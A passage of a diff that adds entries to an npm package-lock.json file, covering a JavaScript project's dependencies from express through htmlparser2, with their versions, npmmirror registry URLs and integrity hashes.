"encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/express/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true + }, + "node_modules/fast-uri": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/fast-uri/-/fast-uri-3.0.3.tgz", + "integrity": "sha512-aLrHthzCjH5He4Z2H9YZ+v6Ujb9ocRuW6ZzkJQOrTxleEijANq4v1TsaPaVG1PZcuurEzrLcWRyYBYXD5cEiaw==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.17.1", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmmirror.com/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dev": true, + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/figures": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/figures/-/figures-2.0.0.tgz", + "integrity": "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/figures/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-saver": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/file-saver/-/file-saver-2.0.5.tgz", + "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmmirror.com/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.3.2", + "resolved": "https://registry.npmmirror.com/flatted/-/flatted-3.3.2.tgz", + "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==", + "dev": true + }, + "node_modules/follow-redirects": { + "version": "1.15.9", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.9.tgz", + "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.1.tgz", + "integrity": "sha512-tzN8e4TX8+kkxGPK8D5u0FNmjPUjw3lwC9lSLxxoB/+GtsJG91CO8bSWy73APlgAZzZbXEYZJuxjkHH2w+Ezhw==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "dev": true, + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmmirror.com/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/fs-monkey/-/fs-monkey-1.0.6.tgz", + "integrity": "sha512-b1FMfwetIKymC0eioW7mTywihSQE4oLzQn1dB6rZB5fx/3NpNEdAWeCSMB+60/AeT0TCXsxzAlcYVEFCTAksWg==", + "dev": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmmirror.com/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dev": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmmirror.com/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/gopd": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.1.0.tgz", + "integrity": "sha512-FQoVQnqcdk4hVM4JN1eromaun4iuS34oStkdlLENLdpULsuQcTyXj8w7ayhuUfPwEYZ1ZOooOTT6fdA9Vmx/RA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dev": true, + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "dev": true + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.1.0.tgz", + "integrity": "sha512-QLdzI9IIO1Jg7f9GT1gXpPpXArAn6cS31R1eEZqz08Gc+uQ8/XiqHWt17Fiw+2p6oTTIq5GXEpQkAlA88YRl/Q==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hash-sum": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-2.0.0.tgz", + "integrity": "sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==", + "dev": true + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/highlight.js": { + "version": "10.7.3", + "resolved": "https://registry.npmmirror.com/highlight.js/-/highlight.js-10.7.3.tgz", + "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmmirror.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmmirror.com/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/html-docx-js-typescript": { + "version": "0.1.5", + "resolved": "https://registry.npmmirror.com/html-docx-js-typescript/-/html-docx-js-typescript-0.1.5.tgz", + "integrity": "sha512-GNojWFDYbpHSIgKml6/0oAom8mtHrHRTWKMyLRdeJQHO/CyeM6H39DYgzYvPp4OhBp2Ti8dxMKFq0/FkpYD4bg==", + "dependencies": { + "browser-or-node": "^1.2.1", + "jszip": "^3.4.0", + "tslib": "^1.13.0" + } + }, + "node_modules/html-entities": { + "version": "2.5.2", + "resolved": "https://registry.npmmirror.com/html-entities/-/html-entities-2.5.2.tgz", + "integrity": "sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dev": true, + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-tags": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-3.3.1.tgz", + "integrity": "sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.3", + "resolved": "https://registry.npmmirror.com/html-webpack-plugin/-/html-webpack-plugin-5.6.3.tgz", + "integrity": "sha512-QSf1yjtSAsmf7rYBV7XX86uua4W/vkhIt0xNXKbsi2foEeW7vjJQz4bhnpL3xH+l1ryl1680uNv968Z+X6jSYg==", + "dev": true, + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": 